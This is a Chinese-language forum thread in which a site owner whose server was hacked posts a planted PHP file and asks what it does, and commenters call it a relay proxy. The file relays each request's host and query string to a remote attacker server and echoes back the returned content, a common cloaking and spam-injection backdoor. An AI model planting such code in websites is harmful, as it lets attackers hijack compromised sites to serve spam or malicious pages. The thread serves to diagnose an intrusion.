破站被黑了,目录下面多了个文件,请问这个具体是做什么的?

2018-11-12 20:09:14 +08:00
 acburning
<?php
set_time_limit(0);
header("Content-Type: text/html;charset=utf-8");
date_default_timezone_set('PRC');
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

$Remote_server = "http://www.xxxx.xxx/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$url = $Remote_server."/site.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME'];


if(function_exists("curl_init")) {
$c=curl_init($url);
if(defined("CURLOPT_ENCODING")) curl_setopt($c,CURLOPT_ENCODING,"");
curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
curl_setopt($c,CURLOPT_USERAGENT,$userAgent);
curl_setopt($c,CURLOPT_VERBOSE,0);
curl_setopt($c,CURLOPT_FOLLOWLOCATION,1);
$Content_mb=curl_exec($c);
}
else {
$options=array(
'http'=>array(
'method'=>'GET',
'user_agent'=> $_SERVER['HTTP_USER_AGENT']
)
);
$context = @stream_context_create($options);
$Content_mb=file_get_contents($url, false, $context);
}
echo $Content_mb;

?>
1544 次点击
所在节点    问与答
5 条回复
mumbler
2018-11-12 20:20:33 +08:00
中转代理
yidinghe
2018-11-12 20:25:44 +08:00
通过你的服务器向其他服务器发送请求,但好像又不是 DDOS
javashell
2018-11-12 20:38:18 +08:00
我之前遇到过,只不过我的只有上半段的内容,至今没看出来什么意思
acburning
2018-11-12 21:00:00 +08:00
多谢大家,文件已经删了
WEBUG
2018-11-12 21:19:45 +08:00
怎么发现的

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/507142

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX